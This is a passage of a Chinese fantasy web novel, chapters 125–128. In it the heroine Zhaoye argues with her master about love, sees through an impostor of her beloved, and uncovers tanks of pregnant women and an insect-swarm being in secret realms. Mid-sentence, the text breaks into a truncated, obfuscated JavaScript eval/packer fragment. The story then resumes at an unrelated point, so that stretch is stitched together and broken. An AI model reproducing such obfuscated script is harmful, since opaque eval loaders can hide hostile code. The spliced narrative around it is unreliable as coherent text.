仙界例行大会前两日,我先是亲眼目睹了桃夭借着正面奉茶的机会“刺杀”亲爹渊寂未果后仓皇逃走,紧接着便被迫看了一个时辰碎蝶像乖巧的猫儿一般蜷在渊寂身边享受爱的抚摸。 而我唯一可做的,便是盘坐在坐忘矶那株传闻为小初亲手所植的古松下,望着枝条上悬垂的素纱灯怔怔出神。 这日暮色如鎏金漫淌,霞光泼洒了整片天际。碎蝶依依不舍地离去后,渊寂独坐崖边,将我唤至身前。 “明日青莲出关。”渊寂声音平静无波,“你去竹山见他最后一面。” 我心头骤然一紧,俯身恭拜,“多谢师父成全。” 渊寂却只极淡地笑了一声,侧首望来,“为何对‘爱’之一字,执着至此,照夜?” “……爱无法以言语穷尽,师父。” 125. 125章 何为爱? “爱。”渊寂嗤笑,指尖轻轻抬起我的下颌。崖风掠过,将他玄色的衣袖吹得微微鼓荡,身后那盏素纱灯在暮色中晃出朦胧的光弧。 “照夜,爱是人为自己编织的、最精致的谎言。”渊寂声音徐缓,似在陈述着天地至理,“爱以痴缠欢苦为丝,将天道赋予的繁衍之责,绣作看似崇高的图腾。然而繁衍本身……才是刻于每个生灵命理中最原始的律令。” 远处云海翻涌,夕晖为层云镶上金红的滚边。渊寂松开手,转身面向苍茫暮色,“阴阳交泰,仙力交融,血脉承续——不过是天地借肉身之壶,续斟一杯永不干涸的存在之酒。这过程并无诗意,唯有最坦然的耗散与延续。文明、道义、诸般情深义重的戏文……”渊寂顿了顿,声调淡如渐起的晚风,“皆如附于盏沿的浮沫。唯繁衍本身,是三千世界中唯一不为天道所弃的履约之证,是生命唯一诚实的回响。它如此朴素,如此不容违逆,以至于任何对它的修饰与哀叹,皆是对生命本质的……怯懦。” 我怔然立在风里,心头如受重击。许久,才喃喃问出那句压在喉间的话,“如此说来……您与芳光公主之间,从无‘爱’可言?” 渊寂低笑两声,目光再次落回我脸上。那双沉静的眼仿佛要穿透我的皮肉血骨,将我心底最本真的念想掘出来细细品鉴,“芳光于我仅余‘美味’二字,再无他感。” 无处不在的风,又来了。 但这一次,它并非独独一缕——而是从四面八方同时涌至。我猛地转头,望向身后、头顶、甚至脚下,却依旧空无一物。唯有肌肤能感知到那无形之息正缓缓迫近,如无数透明触须在虚空里蜿蜒、探伸。 就在我心脏几乎要撞出胸腔的刹那,那些风倏然退却了。仿佛这只是又一次谨慎的窥伺,它们正静候着下一次进袭的时机。 可惜啊……我总能先一步察觉“它”的存在。 那如有实质的——风。 我转回视线,望进渊寂眼中。声音轻得连自己都觉飘忽,“师父说繁衍是生命唯一诚实的回响……可若无爱点亮的记忆,那回响便只是空谷里重复的风声。”崖风拂起我鬓边的碎发,素纱灯在渐浓的暮色中投下摇曳的影子,“一个生命降临,血脉固然可赋其形骸,但塑其骨血、铸其魂格的……是被爱浸透的记忆。若没有这些记忆一凿一刻的雕琢,‘人’便只是盛放骨血的器皿。” “……继续,照夜。” 我本能想避开渊寂眼中那份探究、好奇、乃至审视的意味,可心底却有股力量推着我向前——去回应、去辩驳,去做那个读过万卷书、仍有勇气表露真心的人。 “教育可传知识,驯化可塑行为,命令可划边界……可唯有爱,能让人心甘情愿敞开心身,允另一个生命在自己最深处播种生根,成为不熄的记忆之火。”我深吸一口气,霞光在眼底微微发烫,“纵使身陨道消,后代在某个晨昏忽然懂了您曾为何而笑、为何而痛——那时,‘繁衍’才真正挣脱了本能的囚笼。冰冷的延续只传递存在的‘事实’;而有爱的传承……传递的是存在的‘意义’。” 我抬眸,继续一字一句道,“故而我相信——混沌初开的第一缕风——塑造生命的第一因,是爱。” 渊寂眼中第一次浮现出如此复杂的神色,审视里掺杂着疑问,清晰的“计算”与“分析”之下,竟还透出一丝近乎孩子般的……困惑。他仿佛获得了某种全新的知识,正急切地评判、对照、记录、学习。此刻的他,不像看透万象的仙帝,也不像怀揣无聊好奇的教书先生,倒像个捧着一本艰涩奇书、既兴奋又茫然的孩子。 他甚至像是程序出错般,喃喃反问我,“照夜……什么是爱?” 我怔住了。 我在有限的心识间仓促搜寻,最终沉淀下来的,是有关阿爹的一段不起眼的回忆。 那时我六岁。穆青被阿爹捡回来已三年,他长高长壮了,能帮阿爹干许多粗活——当然,他最重要的仍是照顾我。 那日,学什么都快、唯独不通厨艺的穆青第一次独自下厨。他蒸的米糕又黏又酸,在炎夏里尝来,实需几分勇气。可阿爹却像在品鉴珍馐美馔,几乎凭一己之力,将穆青那碟“不堪入目”的初作尽数咽下。 午后,穆青在井边哼着小调欢快地刷碗。我与阿爹坐在门槛上喝消食茶。以为自己弱小味蕾出现差错的我问阿爹,小青做的饭好吃吗? 阿爹笑着回答我,不好吃,但因为参杂了爱,所以是千金不换的美味。 那一刻我懵懂地明白,爱,就像初次真正品尝一滴晨露。因心里有爱,会尝到夜雾的清冽、破晓前月光的余味,甚至某片叶子昨夜呼吸过的星辰。晨露里,藏着这世界置于平凡深处的一万种细腻。 爱让我与阿爹超越了食物本身,体味到那个人额头上亮晶晶的汗,共同看见那个人洗碗时眼底沉淀的、无垠的喜悦。 最后阿爹说,照夜,爱呀,是生命在吞咽必要之苦时,悄悄藏在舌底的那一丝——心甘情愿的甜。 彼时的我不懂这许多大道理,只模糊觉得,爱和对美味的定义一样,当情感与欣喜融入其中,寻常事物便有了超越本味的、特殊的意义。 于是此刻,我将这浓缩的答案,轻轻推向渊寂: 爱可以成为美味。 暮色彻底吞没了最后一缕霞光。素纱灯在渐起的晚风中轻晃,在渊寂深邃的瞳孔里投下一点摇曳的光斑。 发生在傍晚的,这小小的对谈并未掀起波澜。毕竟需要深思的不是我,而是他。只是许多年后,我或许会庆幸——在这一日的黄昏,自己为某个善于学习的“存在”,留下了一道无解的课题。 这课题将如影随形,深深困扰着他。 直至死亡。 眼下,我只是提前开始焦虑了。明日便能见到小青,我心中既涌动着欢喜,又缠绕着不安。 我怕那个令我朝思暮念、牵肠挂肚的身影——是假的。 这日傍晚,宏音来嵊风殿接我回家。明日他会陪我同赴竹山,于我而言,再好不过。入夜后,无悔回来了,带回了一件难以名状的物事——一块所谓的“营养土”。 宏音对家中突然多出这么一块形貌可疑的东西颇有微词,我倒是没那么忌讳,凑近细细端详。 呈于眼前的是一块暗红色的膏状体。表面覆着层干涩的灰白色膜,触感粗砺,可稍一使力,指尖便能轻易陷入——内里竟是颤巍巍的半透明胶冻,裹挟着絮状血丝与一些仿佛在内里幽幽闪光的、不知名的碎屑。 气味毋庸置疑带着腥腐,却不似泥土或腐殖质的气息,倒更像某种大型生灵温吞的分泌物混杂一处,在密闭处经年累月“酿”出的闷浊之气。 “宏音大人,这究竟是什么?”无悔用指尖戳了戳那柔软的凝冻,“我只觉其中仙力丰沛,若只用来种树……未免有些奢侈。” 宏音凝出数缕纯水,操纵着万千晶莹水珠附着其上,耐心等待纯水剥离那物体的表层,向内里更深处探测。 不过片刻,宏音脸色骤变,操纵水绳倏然卷来将我带至身侧,又以珍贵的纯水迅速将我双手洗净。无悔挠着头,一脸茫然,“干嘛?像碰了什么腌臜东西似的。” 宏音面色阴沉,声音似从齿间挤出,“确切说……是某种‘排泄物’。混了鲛人鳞片与玄牝仙人有毒仙力的——排泄物。” 我一怔。难怪总觉得那膏体中闪烁的碎屑眼熟——那分明是无悔、桃夭耳后鳞片磨就的粉屑! 此言一出,无悔吓得几乎跳起,死死抱住宏音的腿哀嚎,“你也给我洗洗!快!我也要洗!” 最终,宏音在无奈之下以纯水为无悔涤尽了一身浊气,随即便引烈火将那诡异之物焚为了灰烬。 灯下,屋内弥漫着一股难以言喻的诡谲气氛。宏音的眉头越蹙越深,无悔眼中则浮起真切的忧虑。 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此事关键之处在于,红绡树从表象观之,无毒无害,甚至堪称滋补。如此大费周章地培育、浇灌、推广红绡树,却缺乏一个明晰的“获益”动因。 毕竟恶人行恶,总该有所图谋才是。 宏音不敢遽下断言。在握有确凿证据之前,他不愿轻率地将任何人指认为“幕后主使”。 可我顾不得这许多。我只知道,某种强烈的直觉正于心底嘶鸣: 渊寂此人——大有古怪!他必有阴谋! 三言两语打发走无悔后,宏音忧心忡忡地将我哄到床上。他平躺在我身侧,静望着帐顶繁复的绣纹出神。 此刻的我,已被几重未解的迷雾紧紧缠缚, 素雪究竟去了何处? 凤琤此刻身在何方? 红绡茶背后藏着什么玄机? 而明日我将要见到的穆青——究竟是不是他本人? “照夜,”黑暗里,响起宏音低沉的声音,“青莲不在灵璧城。” 我脑中嗡得一声,如遭重击。宏音侧过身,指尖轻抚过我的鼻梁,继续低声道,“地刑司……亦无他的踪迹。” “可、可若他在玲珑境里……” “嗯,那是最后一处尚未探查之地。”宏音沉沉一叹,“故而,也别太过心焦。”他顿了顿,又道,“赤羽先前也曾托我照看你。因幻鹊常扮作青莲的模样……我知道你与青莲情谊深重,自有辨认真伪之法。明天我要你做的,是无论眼前人是谁,皆须保持镇定。” 我的应答声里已带了哭腔。恐惧与担忧如藤蔓绞缠,但我必须忍耐——待到后日,必要将玲珑境一重一重寻遍。我要找到穆青,哪怕只找得到一丝踪迹。 “别怕,至少我在。”宏音又靠近了些,轻轻将我揽入怀中。温热的嘴唇在我额间停留片刻,“还有一事……你可还记得我曾说,灵璧城中存在着些肉眼难见之物,如尘埃般飘浮?” “嗯……那究竟是什么?” “我也不知道。只能感知到它们悬浮于空气之中,数量极巨,却又好似没有攻击的能力,亦不可见。”宏音的声音压得更低,“唯在落雨之时,它们方会消隐。为防万一,除非我在你身侧,别轻易吐露已知的秘密。” “我记住了。” 深深一叹,宏音将我往怀中拢紧了些,“睡罢,照夜。愿明日迎接你我的,是个‘最坏的好消息’。” 是啊。比起穆青弃我而去、与凤琤成婚这种消息,只要他尚且活着——便是最大的好消息。 淅沥的雨自半夜便未曾停歇。待晨光熹微时,整个竹山已浸在蒙蒙雨雾之中。 竹山并非峻岭,而是一处巨大的天然洼地。四壁陡峭的岩崖上,十数道瀑布终年奔泻,轰鸣的水声在洼底回荡交织,恍若亘古不息的低沉雷鸣。此处之所以得名“竹山”,是因洼地之中遍植一种异竹——白竹。 126. 126章 假青莲,真幻鹊 这些竹子通体如脂玉般莹白,竹节处隐隐流转着浅青脉络。在雨中,它们会散发极柔和的晕光,将弥漫的水汽染成一片朦胧胧的银白雾帐。更奇特的是,白竹生有“记忆”,竹身能短暂存录周遭声响与影象,虽留存不过半日,却足以成为天然的“监视”之眼。仙宫于此广植白竹,与其说是造景,不如说是布下了一片静谧而警觉的网。 我立在竹亭檐下,望着雨幕中那些幽幽发光的竹影,只觉心跳如擂。比起坐立难安的我,宏音倒显得沉静许多。他负手立于亭边,目光扫过雨中白竹,似在审视这些沉默的“见证者”。 “被再踱步了,”尾巴的声音忽然从我衣襟里传来——他终于醒了,“再转下去,这竹亭都要被你踏出个坑来。” “我好紧张,尾巴……”我按住心口,“感觉心脏快要蹦出来了。” 尾巴装模作样地贴在我胸前听了片刻,“蹦不出来。有‘大香瓜’挡着呢。” “讨厌!这当口你还调侃我!” 尾巴低笑一声,光晕沿着我的锁骨攀至耳畔,“放心,有我在。若青莲敢欺负你,看我将他揍趴下。” 正与尾巴斗嘴时,我身后忽然传来一道熟悉的嗓音,“照夜。” 声线平稳,甚至带着一丝刻意压制的平淡。我浑身一震,蓦然回首——那道被我深深镌刻在魂魄里的身影,就这么落入了眼中。 澄澈分明的眼眸,悬胆般高挺的鼻梁,习惯性抿作直线的嘴唇,还有那挺拔如竹的轮廓,瞬间令泪水模糊了我的视线,我再也抑制不住,朝那身影飞奔而去。 时间仿佛被无限拉长、凝滞。我能看见雨滴在空中划出银亮的细痕,能听见自己的心跳在胸腔里沉重地撞击着。 咚、咚咚。 为时已晚。那人已伸手将我接进怀中。当我仰起头、瞪大双眼望向他时,他微微弯起眼角,只轻声道,“终于见到你了。” “青莲,”宏音适时上前,将我从那人怀中轻轻拉开,抬袖拭去我汹涌的泪,“想必你已从星允等人口中,得知照夜此来的目的。”宏音语气平静,却透着不容置疑的沉稳,“或者,你可愿与我单独一谈?再由我将你的意思转达给照夜——以免当场争执,徒增难堪。” 我踉跄着出了竹亭,几乎是一路狂奔至一处瀑布旁。水声轰隆,掩盖了所有细微的声响。我颤抖着将尾巴从衣襟里拽出来,压低嗓音,“尾巴!那不是小青!” “嘘——”未待我说完,尾巴已用光晕死死捂住我的嘴,“我知道。虽外貌、声音皆如出一辙,虽此人连衣袂熏香都染作青莲惯用的竹息……”他顿了顿,光晕微微发冷,“可这个人,不是青莲。” 时间忽然变得异常粘稠难熬。不知等待了多久,安宁的身影穿过雨幕走来,垂首低语,“照夜姑娘,帝君驾临。请您前往。” 雨仍在下。白竹在雾中静静发光,竹身里或许正记录着此间每一寸呼吸、每一道目光。 竹山正殿中,不绝于耳的雨声渐转细密。渊寂端坐于上,星允、云啼、笏影及无极分列两侧,煌煌仪仗压得殿内空气凝沉。 宏音垂袖肃立,依礼深拜,随即轻轻按着我一同跪伏。身侧,幻鹊所扮的“穆青”亦静跪如塑。 渊寂并未急于开口,只托腮饶有兴味地打量着我。倒是星允先一步发难,“宏音大人,青莲方才所言想必您已听得明白。强求无益,又何苦自取其辱?” 无极捻须缓声道,“青莲,不妨将你方才的话,在帝君驾前……再复数一遍。” 幻鹊的声音平淡无波,听不出半分涟漪,“我已辜负照夜。若此刻舍凤琤而择旧人,便是伤了两个人的心。想来照夜……亦难再接纳如我这般反复之辈。故而——”他略顿,字字清晰,“我选择与凤琤厮守终生。” “哼,青莲上仙此番行事,倒还存着几分担当。”笏影怪笑一声,眼风斜扫向我,“照夜,强扭的瓜不甜。若再纠缠下去,不过两败俱伤,不如就此放手罢?” 我撑起沉重的眼皮望向渊寂,继而俯身深深叩首,“小八……但听师父安排。” 星允竟侧身凑近渊寂耳畔,语带谑意,“师尊,弟子倒听闻……二师弟溟牙对小八颇为上心。前次云啼还见小八宿于师弟处,不如成全他二人?也算为小八谋个归宿。” 我十指死死掐入掌心,齿间已咬出腥甜。 云啼立刻接话,神色倨傲,“禀师尊,确是如此。二师兄素来不近男女,偏对这胖丫头另眼相待。不如——就此赐婚?往后二师兄出征在外,心中也好有个牵挂。” “不妥。”宏音声线平稳,不疾不徐,“照夜正为青莲之事神伤,尚未走出颓绪。且她与溟牙不过因同遭师兄弟姐妹排挤,凑在一处发发牢骚罢了,并无男女私情。” “呵,”笏影故作讶异,“宏音大人这是……舍不得?听闻您二人虽以‘父女’相称,夜里却常宿于一室,共度长夜呢。”她掩口轻笑,“难不成是嘴上称作女儿,心中怀的……却是男女之情?” 宏音不怒反笑,竟当众握住我冰冷濡湿的手,坦然道,“嗯,确是如此。不可以么?” “咳!”无极皱眉,“宏音大人,您贵为鸿珠上仙,岂能有此悖逆之思?实在不妥。” 宏音笑意愈深,眼中却无温度,“又如何?” 几人面色青红交错之际,饶有兴味看了会儿热闹的渊寂终于抬手止住了争执。 “够了。”渊寂目光落回我身上,“照夜,你与青莲前缘既断,便该学着懂事。”略一停顿,他又道,“过来。” 我揉着酸麻的膝头起身,挪至渊寂身侧。他又问了几句无关痛痒的琐事,便挥手遣散众人。殿门阖拢,刹那之间,唯余铺天盖地的水声轰鸣,将竹山裹成一座孤岛。 “只见树木,不见森林;只见孤星,不见寰宇。”渊寂的声音在雨声中显得格外清晰,“照夜,该将眼界……放得长远些。” 尾巴悄悄贴上我的耳廓,光晕微微发颤——他在紧张,生怕我一时冲动逼问眼前此人穆青的下落。 可我此刻却异常清醒。正因清醒,才更需以泪水掩尽波澜。我不得不清醒地操纵眼泪,让它们与窗外滂沱的雨一同坠落,并抛出些稚拙僭越的问题,来掩饰自己早已识破幻鹊伪装的真相。 “师父……”我抬起湿漉漉的脸,“当年芳光公主舍弃云笈仙人,而追随了您。你们三人……那时是何心境?” 渊寂似坠入某段久远的回忆中。他伸手,略显生疏地轻抚过我濡湿的发顶,许久方答,“云笈痛苦,芳光懊悔。而我——”他顿了顿,“困惑。” “……困惑?” 渊寂极淡地笑了笑,起身走向窗边。殿外白竹在雨中散发着朦胧晕光,将整座竹山浸在流动的银雾里。 “是啊,”渊寂望着那片氤氲的光雾,喃喃如自语,“困惑于人……为何会为‘爱’之一字痴缠哀恨,直至形销骨立、面目全非。” 这一日,时间尤为漫长。我几乎是在数着呼吸等待明日的到来。待我离开竹山回到息声苑,无悔这万事通早已闻知白天发生的事儿,围着我左蹦右跳要介绍“好看又顾家”的鲛人,甚至搬出鲛人族母系习俗——“孩子都由阿爹带大!嫁鲛人,至少不愁没人带娃!” 尾巴趴在我头顶,冷不丁泼来凉水,“照夜,你生不了孩子,别白费心思。真想要娃,只能去求抱婴椿。” “我才不要!我烦着呢!” “哎哟,烦也得解决问题嘛。”无悔捏着我肩膀,眼珠一转,“唯一的阻碍是宏音大人——他定不会轻易应允。要不……你跟我私奔?随我回南极鲛人聚地,找个才俊生米煮成熟饭如何?” “啊啊啊?!你这臭鲛人!照夜是我的!”尾巴暴怒,光晕猛扑到无悔脸上,随即便扭打作一团。 鲛人无悔岂是尾巴的对手?待宏音归家时,只见无悔被光晕捂着眼踉跄跌撞,额角磕出好几个包,狼狈遁走。宏音 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宏音微微一笑,展臂将我与尾巴一同揽入怀中。人呐,有高大挺拔的身量、宽阔坚实的臂膀就是好——纵使我如今这么圆润,依偎在宏音怀中竟也显出几分“小鸟依人”的错觉。 “此次与会者众,布雨监视本是常例。帝君心知肚明,只会默许。” 尾巴沉默了半晌,有些不自信地问我,他为什么没想到这一层,是不是变笨了。 总而言之,除了棋艺,尾巴在某些方面也一并输了个彻底。 时间在忐忑中终于捱到第二日。我入了仙宫便遇见溟牙,他只以眼神示意我噤声,随即转身前行。我与尾巴紧随其后,七拐八绕,终至源涡池附近。 再见到这仙宫禁地中的源涡池,我依旧会被那玄青色的、无声涌动的巨涡所震撼。池中仙力磅礴如渊,沉浑威压无声弥漫,连空气都仿佛凝滞。我们藏匿于光滑陡峭的高墙之后,屏息凝神,紧盯有重兵守卫的玲珑境大门。 候了片刻,我正疑惑宏音所谓的“铺路人”何时现身,一道意外身影竟出现了—— 是星允。 只见他与守军低语数句,那些守卫竟匆匆撤走。就在星允踏入玲珑境、守军离去不过两步的刹那,我忽觉腰间一紧——溟牙已揽住我,顺着湿滑墙壁如蛇般无声“滑”至巨门之前,在门扉闭合的瞬息,侧身挤入! 几乎同时,溟牙一把捂住我的嘴,带我翻滚至角落暗处。他褐色的竖瞳在昏暗中隐隐泛起金芒,如夜行动物般缓缓扫视着漆黑静谧的室内。 良久,溟牙方松手,拍去衣上沾染的雨渍,“重死了……怪不得玄洛君爱找你——体温比常人高些。” 我慌忙爬起,紧贴在溟牙身侧,“星允……难不成也是自己人?” “……怎么可能。”溟牙语气平淡,倒似早已料定。 见他如此镇定,我心下稍安。此间唯有一片浓稠黑暗,除了尾巴能散出微光,便只能仰赖溟牙那双眼睛了。 “星允掌有钥匙。若不跟着他,进不了此门。”溟牙慢条斯理解释,“此时正是守卫交班、众仙入宫之时。桃夭又去‘刺杀’她爹,欲给帝君个下马威。星允便借守卫缺失之由,支使换班者前去接应——他好趁乱,不登记便潜入玲珑境。” “他进来干嘛?既有钥匙,何必鬼鬼祟祟?” “啧。”溟牙轻嗤,“师父只允许他凭钥匙进出特定的秘境办事,并未准他入内修行。人呐,皆有贪念——星允不过是想偷汲些仙力,精进修为罢了。” 至此,我与尾巴方彻悟宏音这“螳螂捕蝉”之局,他早知道星允有偷入秘境之行,便借其行径,为我与溟牙铺路。倘若我二人行迹败露,亦可辩称“窥见星允鬼祟,遂跟踪探查,发觉其未得帝君准许私入秘境”。如此,我们的形迹便有了正当缘由。 不得不说,宏音这招真是狠,利用了星允这个狗东西不说,还叫他承担了所有风险。 127. 127章 无数尘蚴 真不愧是出身天翮城的……头号奸商。 不知走了多久,我逐渐感到气息闷热,视野却越来越亮。终于,我和溟牙来到了九百玲珑境的“门”前。 最先被震撼的是我的双眼——纯粹的黑暗里,密密麻麻的光斑在墙壁上忽明忽灭,每一粒光斑都指向一重秘境。它们排列得异常齐整,齐整到令人心悸。恍惚间,我想起天翮城地下深处那些封存着古族文明的石榴石室,这些光斑,便如无数石榴籽般紧密镶嵌,静默地吞吐着微光。 “抓紧时间。”溟牙盘膝坐下,竖起一根手指在眼前,“来吧,小胖妞——让我瞧瞧你的本事。” 尾巴闻言,顺着我的脊梁滑至尾椎,轻轻一按。霎时光尾膨胀,温柔而迅疾地裹住了溟牙的身形。 “照夜,把手搭在我肩上。”溟牙的声音传来,“你横竖闲着,把眼睛借我一用——省些工夫。” 我犹豫地将手按上溟牙肩头。几乎瞬间,一股陌生的眩晕感猛地攫住了我——那不是黑暗带来的晕眩,而是光线被彻底打碎、重组后引发的感知失重。 奇迹,在刹那间发生。 我突然“看见”了温度。 眼前无数光斑熔化成一道道流淌着诡艳色彩的丝线,冰冷沉郁的靛蓝、纤细反光的银白、搅动着金红与深黑的粘稠涡流……它们刺得我眼眶发痛。 当我凝神注视其中一粒光斑时,更为奇异的事发生了,我的视线像被无形之手拉长、推近,那些隐匿的“热源”——如同迷雾中猝然点燃的橘色灯笼——清晰浮现。一只长尾鹊仙禽掠过视野时,竟在空气中拖出一道转瞬即逝的暖色尾迹。 “照夜,收回视线。”溟牙的声音从极近处传来,“你只需为我提供增幅,别擅自窥探——会惊动境中的修者。” 我用力眨了眨眼,一股灼烧感自眼底蔓延。原来“看见温度”,对双眼是如此沉重的负荷。 “如何?今日也当了一回‘蛇小姐’。”尾巴轻轻揉着我的眼眶,光晕温软,“耐心等着罢。待溟牙筛出可疑之境,咱们便开工。” 我仍有些眩晕,只得挨着溟牙坐下,目光漫无目的地游移在这片充斥着不可名状光团的幽暗里。 ——也正是在此时,我看见了宏音曾描述的“尘埃”。 不,不是尘埃。 是亿万颗悬浮在光线中、缓慢游动的黑色光点。每一粒仅如针尖的万分之一大小,若非借由溟牙的能力强化视觉,是绝无可能察觉到它们的存在。 那不是尘埃,而是虫。 漆黑的虫体生着薄膜般的翅芽,以难以捕捉的频率颤动;无目无耳,唯有一道细窄而尖利的口器;最诡异的是那四条鞭毛般的纤足——末端并非尖爪,而是精巧的钩状结构与凹槽,犹如微缩的榫卯。 它们似察觉到我的注视。一群黑虫试探着飞近,仿佛在向我展示般,将彼此的钩与槽轻轻一叩。 “咔”一声微不可闻的轻响后,二者严丝合缝地嵌合成一体,组合成了一只……手。 “尾巴,”我声音发颤,“你看见了么?” “看见什么?”尾巴的光晕贴上我的脸颊,“你在出冷汗,照夜。” 虫群并未停止。它们不断分离、重组,既不躲避,也不攻击,仿佛在与我进行某种静默的交流。 有趣。第一个看见我的,是你。 “你是谁?”我脱口而出。 尾巴慌忙扒开我的眼皮,“你在和谁说话,照夜?” 不待我回应,虫群已再次涌动,以惊人的速度拼合成一行悬浮的字迹, 要来参观么,我的巢。 顷刻间,黑虫汇成一股细流,嗖地没入一粒极不起眼的光斑中,消失无踪。 我猛地回过神来,将正轻揉我眼珠的尾巴拽下,塞进衣襟深处。 “尾巴,”我压低嗓音,掌心尽是湿冷的汗,“今日或许会很长。” “……别怕。”尾巴的光晕在我心口微微发烫,“我在你身边。” “嗯。” 一个时辰后,溟牙终于将一万九千八百处玲珑境全部探视完毕。随着那缕金色的仙力缓缓收束回我体内,我的视野也逐渐恢复正常。然而就在此时,溟牙喉咙里发出一声压抑的低哼——他双目竟在淌血。 “啧,负担太大……看来视力永久下降了些。”溟牙随意抹去颊边的血迹,用力眨了眨眼,见我紧抿着唇,反倒轻嗤一声,“不必可怜我。我已标记出四处最有可能的境,皆残留着青莲的模糊痕迹。速去速回。” “那你呢?先走么?” “见机行事。”溟牙推了我一把,声音压得很低,“记住,别拖延。只要活着,总有机会——要懂得苟且。” 尾巴的光晕倏然裹紧我,无需多言,便朝着第一处被标记的境疾掠而去。 在穿行于那些“境”的瞬间,我才恍然彻悟,通往玲珑境的并非实土,而是无数“万界门”在此交叠串联成的空间网络。源涡池那浩瀚不绝的仙力,正是维系这些通道永不闭合的命脉。换言之,这些散落各处的“境”,实则是被不会闭合的万界门跨越地理界限、被强行链接至此的“孤绝之地”。更关键的是,每处规模有限的境皆设有结界,牢牢锁住灌入的仙力,从而铸就出一方修行圣地。 因穿行速度太快,落地时我几乎眩晕呕吐。强压住翻腾的胃囊与虚浮的脚步,我借尾巴散出的幽光,踉跄着朝这处无名秘境的深处走去。 穿过一段幽深甬道后,我溶解了尽头那扇平凡木门上的光栅封印,轻轻推开门扉—— 刹那间,沉闷的热浪裹着浓重的铁锈与蜜糖混合的甜腥气,沉沉压上胸腔。 这是一间极宽敞的密室,无窗无风。光源来自穹顶嵌满的冷白色晶石,投下的光线均匀到抹杀了一切阴影,让眼前的一切清晰得近乎残酷。 我和尾巴僵在原地,几乎是无意识地、一步一步挪向那震慑魂灵的景象。 数百座两人高的琉璃缸等距排列,整齐如陵墓碑林。缸壁剔透无瑕,宛如竖立的琥珀棺椁。每一座缸内皆盈满浓稠的猩红色液体,晃动时泛起油脂般厚重而诡艳的光泽。 而液体中悬浮着的——是女子。 是身怀六甲、双目轻阖的女子。 她们长发如海藻在猩红中缓缓飘散,神情安详到诡异,双手交叠于高隆的腹上,皮肤在红液浸润下泛出珍珠似的冷白。不知是沉睡,还是已死去。 每座缸体上下皆接驳着数根半透明软管,上端的细管持续注入新鲜的猩红液体;下端粗管则缓缓抽吸缸底沉淀的暗浊絮状物。管壁随输送微微搏动,发出极细微的、咕噜……滋……的声响,恍若这死寂空间里唯一活着的、消化般的低鸣。 “天……”尾巴的光晕紧贴在琉璃壁上,剧烈颤抖,“这是一座……孵化室。” 我只觉浑身的血液骤然凝固,仿佛被落羽山巅最酷烈的风雪从头到脚封冻,连心脏都僵固得忘了搏动。 这里没有窗,没有风,只有液体、软管、冷光,以及上百具在猩红温床中寂静孕育的肉身。这不是房间,而是一座为了“培育”而存在的、精密冰冷的工坊。 我的目光停驻在一张熟悉的面孔上——仙界第一美人,素雪。没想到她的下落竟是以这样一种方式被我找到。 猩红液体中的女子几乎没有生命迹象,她悬浮在缸中,腹部已然干瘪,皮肤正一寸寸剥落、溶解,化作池底那些絮状的碎屑。 “她应当已‘完成’使命了。”尾巴的声音压得极低,光晕抖得厉害,“孕育终结,便没了价值……要被‘销毁’了。” 胃囊剧烈翻搅,那甜腥的气息终于攫住了我的嗅觉——这猩红的液体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“啧,”尾巴的光晕紧贴我耳畔,声音压得极低,“这便是百目的‘真身’了。非是法器,而是纯粹的……怪物。” 如果尾巴有心跳,此刻定会与我一样——在经历了狂跳、骤停之后,陷入一片死寂般的冰冷平静。 我竟能近乎冷酷地,近距离审视这怪物萌发的根基。 暗红色的黏土之上,是一团虚白近透明、缓慢蠕动的“虫体”。它们相互缠绕、挤压,永无止境地扭结盘曲,没有口器,亦无目窍,光滑的体节在幽光下泛着湿冷的釉泽,如同生物体内剥离出的肠管——无法被定义为“生物”,却又分明“活着”。 “雷枢仙人以雷霆重伤了百目。”我凝视着那颗巨大眼瞳,竟从它鎏金色的虹膜深处,捕捉到一丝细微的、生物本能的恐惧,“百目‘死去’后,正在此地……等待重生。” 我伸出手,指尖悬于那眼球之上。 “尾巴,”我的声音在穴中空洞回响,“仙界……早已被膣藟侵蚀了。” 尾巴会意,光晕轻附上我的指尖。金色的仙力与晶盾急速碰撞、摩擦、压缩—— 一簇炽白到近乎虚无的火焰,自我指尖猝然迸现。 火焰如拥有生命般,瞬息缠上那怪物的身躯。没有挣扎的余地,猩红的肉瘤、鎏金的眼瞳、虚白的虫基,皆在无声的焚灼中化为飞散的灰烬。无数细微的、仿佛来自灵魂深处的嚎叫在火焰中一闪即逝——那是生物对消亡最原始的恐惧。 “你还记得千手么,照夜。”尾巴的声音在余烬中显得格外清晰。 “记得。”我盯着那最后一缕消散的火光,“与这怪物的根基……几乎同源。” “嗯,这花儿凋落的碎屑变成了千手的躯体。”尾巴的光晕微微波动,“照夜,青莲曾来过此处。他当时……应是将这怪物诛杀了一回。只是,又有人在此重新‘栽种’了一朵。走吧。青莲他不在这里。” 我和尾巴再次返回境门处。见我面色灰败,溟牙敏锐地察觉到异样,但此地显然不宜深谈。第三处标记的,正是那群如尘埃的小虫为我指引的——“巢”。 踏入此境的瞬间,我便看见了虫群的可视化聚合。 128. 128章 屠杀 它们调动了更多个体,组成了凭肉眼即可辨识的形态。我自然认得这虚像——那足以构成巍峨身躯的十身仙人。可我未曾想到,它的真身竟是无数比尘埃更微渺的虫群。 “你之前看见的……便是这个?”尾巴的光晕微微收缩。 “嗯。”我盯着那团缓慢流动的黑暗,“十身的真身。” 一个模糊的人形轮廓如影子般静立在我面前。虫群通过某种共鸣发出声音,幽微而清晰,不带丝毫情感波动,“要参观么,我的巢。” “一般来说,”我听见自己的声音异常平稳,“人会称那地方为‘家’、为‘屋’,而非‘巢’。” 虫群静默了一瞬,随即重组声线,“已记录。要参观么,我的家。” “啧……这东西真教人脊背发麻。”尾巴罕见地打了个哆嗦,紧贴在我耳侧,“究竟是什么东西?” 我死死盯着那些以榫卯结构精密扣合的虫体,低声道,“方才我见到了它的个体。形似典籍所载的‘尘蚴’,却又不尽相同……似是遭过改造。” “没错,是尘蚴。”虚影转身,引我们走向甬道深处,声线平淡如在诵读碑文,“确切而言,是被淘汰的尘蚴。本应悄无声息湮灭,但——我们活了下来。” 十身推开尽头的门。那里面,豁然是一片望不到边际的深林。久违的风迎面拂来,裹挟着植物清苦的气息。我深深呼吸几口,混沌的头脑终于清晰了少许。 